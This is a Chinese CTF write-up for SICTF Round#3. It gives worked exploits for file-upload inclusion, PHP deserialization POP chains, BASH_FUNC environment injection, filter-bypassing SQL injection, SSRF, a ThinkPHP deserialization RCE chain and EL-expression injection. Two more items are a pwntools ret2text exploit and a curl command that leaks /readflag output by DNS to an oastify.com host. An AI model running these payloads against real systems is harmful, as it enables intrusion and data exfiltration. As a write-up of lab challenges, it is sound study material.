目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. 100%_upload
    2. 2.2. Not just unserialize
    3. 2.3. hacker
    4. 2.4. EZ_SSRF
    5. 2.5. Oyst3rPHP
    6. 2.6. [进阶]elInjection (Unsolved)
      1. 2.6.1. 非预期dns带外
      2. 2.6.2. 预期
    7. 2.7. [进阶]CC_deserialization (Unsolved)
  3. 3. Pwn
    1. 3.1. [签到]stack
  4. 4. Misc
    1. 4.1. 问卷调查

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

SICTF Round#3

2024/2/16 CTF线上赛 CMS 文件上传 反序列化 SSRF Sql
  |     |   总文章阅读量:

前言

坏事,感觉自己和Round#2的时候比没变多少。。。


Web

100%_upload

检测后缀和文件内容,短标签绕过内容检测,直接传个png图片马上去

image-20240216113801512

发现index.php有file这个参数用于文件包含

直接包含图片马getshell

image-20240216113855385

貌似也可以直接伪协议读flag(


Not just unserialize

反序列化pop链+环境变量注入

<?php

highlight_file(__FILE__);
class start
{
    public $welcome;
    public $you;
    public function __destruct()
    {
        $this->begin0fweb();
    }
    public  function begin0fweb()
    {
        $p='hacker!';
        $this->welcome->you = $p;
    }
}

class SE{
    public $year;
    public function __set($name, $value){
        echo '  Welcome to new year!  ';
        echo($this->year);
    }
}

class CR {
    public $last;
    public $newyear;

    public function __tostring() {

        if (is_array($this->newyear)) {
            echo 'nonono';
            return false;
        }
        if (!preg_match('/worries/i',$this->newyear))
        {
            echo "empty it!";
            return 0;
        }

        if(preg_match('/^.*(worries).*$/',$this->newyear)) {
            echo 'Don\'t be worry';
        } else {
            echo 'Worries doesn\'t exists in the new year  ';
            empty($this->last->worries);
        }
        return false;
    }
}

class ET{

    public function __isset($name)
    {
        foreach ($_GET['get'] as $inject => $rce){
            putenv("{$inject}={$rce}");
        }
        system("echo \"Haven't you get the secret?\"");
    }
}
if(isset($_REQUEST['go'])){
    unserialize(base64_decode($_REQUEST['go']));
}
?> 

链子:start::__destruct -> start::begin0fweb -> SE::__set -> CR::__tostring -> ET::__isset

__toString里的正则匹配单行,直接换行符绕过即可

exp:

<?php
class start
{
    public $welcome;
    public $you;
}

class SE{
    public $year;
}

class CR {
    public $last;
    public $newyear="\nworries";
}

class ET{
}
$a=new start();
$a->welcome=new SE();
$a->welcome->year=new CR();
$a->welcome->year->last=new ET();
echo base64_encode(serialize($a));

然后是环境变量注入,依旧是p神的那篇文章:https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html

payload:

?get[BASH_FUNC_echo%%]=() { cat /ffffllllllaaaaaaaaaaaaaaaaaaggggg ; }

hacker

fuzz一下,过滤如下

['union select', 'and', 'or', '||', '&', 'order', 'ORDER', 'like', 'ascii', 'mid', 'handler', '--', ' ', 'information_schema', ';']

读数据库

?username=1'union/**/select/**/database()%23

返回ctf

查表

?username=1'union/**/select/**/(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database())%23

返回flag,users

无列名注入找到flag

?username=1'union/**/select/**/(select/**/`2`/**/from(select/**/1,2/**/union/**/select/**/*/**/from/**/flag)a/**/limit/**/1,1)%23

EZ_SSRF

<?php
highlight_file(__file__);
error_reporting(0);
function get($url) {
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($curl);
    curl_close($curl);
    echo base64_encode($data);
    return $data;
}
class client{
    public $url;
    public $payload;
    public function __construct()
    {
        $url = "http://127.0.0.1/";
        $payload = "system(\"cat /flag\");";
        echo "Exploit";
    }
    public function __destruct()
    {
        get($this->url);
    }
}
// hint:hide other file
if(isset($_GET['Harder'])) {
    unserialize($_GET['Harder']);
} else {
    echo "You don't know how to pass parameters?";
}

?>

逆天题目,flag在flag.php不在/flag,被题目描述骗了

exp:

<?php
function get($url) {
}
class client{
    public $url="file:///var/www/html/index.php";
    public $payload;
}
$a=new client();
echo serialize($a);
?>

Oyst3rPHP

存在www.zip源码泄露,是OysterPHP框架,基于tp6.0.3

解压后直接看app/controller/Index.php

<?php
namespace app\controller;
use app\BaseController;

class Index extends BaseController
{

    public function index()
    {
		echo "RT,一个很简单的Web,给大家送一点分,再送三只生蚝,过年一起吃生蚝哈";
        echo "<img src='../Oyster.png'"."/>";
		
        
		$payload = base64_decode(@$_POST['payload']);
        $right = @$_GET['left'];
        $left = @$_GET['right'];
        
		$key = (string)@$_POST['key'];
        if($right !== $left && md5($right) == md5($left)){
            
			echo "Congratulations on getting your first oyster";
			echo "<img src='../Oyster1.png'"."/>";
            
			if(preg_match('/.+?THINKPHP/is', $key)){
                die("Oysters don't want you to eat");
            }
            if(stripos($key, '603THINKPHP') === false){
                die("!!!Oysters don't want you to eat!!!");
            }
			
			echo "WOW!!!Congratulations on getting your second oyster";
			echo "<img src='../Oyster2.png'"."/>";
            
			@unserialize($payload);
			//最后一个生蚝在根目录,而且里面有Flag???咋样去找到它呢???它的名字是什么???
			//在源码的某处注释给出了提示,这就看你是不是真懂Oyst3rphp框架咯!!!
			//小Tips:细狗函数┗|`O′|┛ 嗷~~
        }
    }
	
	public function doLogin()
    {
    /*emmm我也不知道这是what,瞎写的*/
        if ($this->request->isPost()) {
            $username = $this->request->post('username');
            $password = $this->request->post('password');

           
            if ($username == 'your_username' && $password == 'your_password') {
          
                $this->success('Login successful', 'index/index');
            } else {
              
                $this->error('Login failed');
            }
        }
    }
}

稍微审计一下

先确定我们要打的路由:/app/Index/index

然后开始绕过

public function index()
    {
		echo "RT,一个很简单的Web,给大家送一点分,再送三只生蚝,过年一起吃生蚝哈";
        echo "<img src='../Oyster.png'"."/>";
		
        
		$payload = base64_decode(@$_POST['payload']);
        $right = @$_GET['left'];
        $left = @$_GET['right'];
        
		$key = (string)@$_POST['key'];
        if($right !== $left && md5($right) == md5($left)){
            
			echo "Congratulations on getting your first oyster";
			echo "<img src='../Oyster1.png'"."/>";
            
			if(preg_match('/.+?THINKPHP/is', $key)){
                die("Oysters don't want you to eat");
            }
            if(stripos($key, '603THINKPHP') === false){
                die("!!!Oysters don't want you to eat!!!");
            }
			
			echo "WOW!!!Congratulations on getting your second oyster";
			echo "<img src='../Oyster2.png'"."/>";
            
			@unserialize($payload);
			//最后一个生蚝在根目录,而且里面有Flag???咋样去找到它呢???它的名字是什么???
			//在源码的某处注释给出了提示,这就看你是不是真懂Oyst3rphp框架咯!!!
			//小Tips:细狗函数┗|`O′|┛ 嗷~~
        }
    }

前两个分别是:md5弱比较 与 溢出绕过正则匹配(参考SHCTF 1zzphp

直接看到下面的反序列化和hint

全局找析构函数__destruct

在/vendor/topthink/think-orm/src/Model.php中找到

/**
 * 析构方法
 * @access public
 */
public function __destruct()
{
    if ($this->lazySave) {
        $this->save();
    }
}/*WOW!!!看来你是懂的,第三个生蚝在根目录下的Oyst3333333r.php里,快去找到它吧*/

接下来就是经典的链子:https://xz.aliyun.com/t/12630

exp:

<?php
namespace think\model\concern;
trait Attribute
{
    private $data = ["key"=>"cat /Oyst3333333r.php"];
    private $withAttr = ["key"=>"system"];
}
namespace think;
abstract class Model
{
    use model\concern\Attribute;
    private $lazySave = true;
    protected $withEvent = false;
    private $exists = true;
    private $force = true;
    protected $name;
    public function __construct($obj=""){
        $this->name=$obj;
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
$a=new Pivot();
$b=new Pivot($a);
echo base64_encode(serialize($b));
import requests

url = "http://yuanshen.life:38207/app/Index/index?left=QNKCDZO&right=240610708"
data = {
    'key': 'very' * 250000 + '603THINKPHP',
    'payload': 'TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjc6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTI6IgAqAHdpdGhFdmVudCI7YjowO3M6MTk6IgB0aGlua1xNb2RlbABleGlzdHMiO2I6MTtzOjE4OiIAdGhpbmtcTW9kZWwAZm9yY2UiO2I6MTtzOjc6IgAqAG5hbWUiO086MTc6InRoaW5rXG1vZGVsXFBpdm90Ijo3OntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo3OiIAKgBuYW1lIjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319'
}
res = requests.post(url, data=data)
print(res.text)

image-20240218135651244


[进阶]elInjection (Unsolved)

EL表达式注入 + bcel打内存马

package com.example.elinjection.controller;

import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;
import java.util.ArrayList;
import java.util.Iterator;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class TestController {
    public TestController() {
    }

    @RequestMapping({"/test"})
    @ResponseBody
    public String test(@RequestParam(name = "exp") String exp) {
        ArrayList<String> list = new ArrayList();
        list.add("Runtime");
        list.add("exec");
        list.add("invoke");
        list.add("exec");
        list.add("Process");
        list.add("ClassLoader");
        list.add("load");
        list.add("Response");
        list.add("Request");
        list.add("Base64Utils");
        list.add("ReflectUtils");
        list.add("getWriter");
        list.add("Thread");
        list.add("defineClass");
        list.add("bcel");
        list.add("RequestAttributes");
        list.add("File");
        list.add("flag");
        list.add("URL");
        list.add("Command");
        list.add("Inet");
        list.add("System");
        list.add("\\u");
        list.add("\\x");
        list.add("'");
        Iterator var3 = list.iterator();

        String s;
        do {
            if (!var3.hasNext()) {
                ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
                SimpleContext simpleContext = new SimpleContext();
                ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
                valueExpression.getValue(simpleContext);
                return exp;
            }

            s = (String)var3.next();
        } while(!exp.contains(s));

        return "No";
    }
}

明显是要我们绕过这几个过滤的方法

hint:

  • 利用ScriptEngine基础上可以使用Base64编码Bypass

  • 非预期解法dns出网情况下,dns换行导致解析失败可以使用命令,ls /|head -n 1|tail -n -1,来读取行数

  • flag没有权限读取,执行/readflag获取

  • 套双层ScriptEngineManager的eval执行java.util.Base64解码内容

  • 能执行命令的bash -c “curl `/readflag`.dns”

非预期dns带外

https://blog.kengwang.com.cn/archives/624/#%E8%BF%9B%E9%98%B6elinjection

由于过滤了很多参数, 我们试着先将其编码再解码, 一般用的是 Base64, 但我用的是 URLDecoder

构造

curl `/readflag`.ig2nsj8t33em65ielmwmoa21mssjg94y.oastify.com

处理一下得到

java.lang.Runtime.getRuntime().exec("bash -c {echo,Y3VybCBgL3JlYWRmbGFnYC5pZzJuc2o4dDMzZW02NWllbG13bW9hMjFtc3NqZzk0eS5vYXN0aWZ5LmNvbQ==}|{base64,-d}|{bash,-i}").getInputStream();

payload:

{{url(${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(java.net.UR".concat("LDecoder.decode(\"{{url({{p(javascript)}})}}\"))"))})}}

预期

没做出来

${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new javax.script.ScriptEngineManager().getEngineByName(\"JavaScript\").eval(\"(java.util.Base64.getDecoder().decode(\\\"cHJpbnQoMSk=\\\")).toString()\")")}

出题人饭都喂到嘴边了但是我最后一步不会打内存马


[进阶]CC_deserialization (Unsolved)

cc + rmi二次反序列化 + java不出网 + javassist缩短payload


Pwn

[签到]stack

main函数

char *run()
{
  char buf[76]; // [rsp+0h] [rbp-50h] BYREF
  size_t nbytes; // [rsp+4Ch] [rbp-4h]

  printf("Give me the length: ");
  LODWORD(nbytes) = get_int();
  if ( (unsigned __int8)nbytes > 0x40u )
  {
    puts("Too long!");
    exit(1);
  }
  printf("Give me your command: ");
  read(0, buf, (unsigned int)nbytes);
  return strdup(buf);
}

很明显这里unsigned __int8存在整型溢出,int8的范围是 -256~255

后门backdoor函数

image-20240216124104161

打 ret2text 直接控制地址到_system,这样子可以绕过比较

因为backdoor里没有输入,所以我们的payload要在修改地址的同时执行命令

exp:

from pwn import *

p = remote("yuanshen.life", "33665")

offset = 0x50+0x8
get_flag_addr = 0x4011F7
payload = b'cat flag||' + (offset-10) * b'a' + p64(get_flag_addr)
p.recv()
p.sendline(b'-256')
p.recv()
p.sendline(payload)
p.interactive()

Misc

问卷调查

SICTF{See_y0u_1n_sictf_rOund4_!!!!@#_558b0304}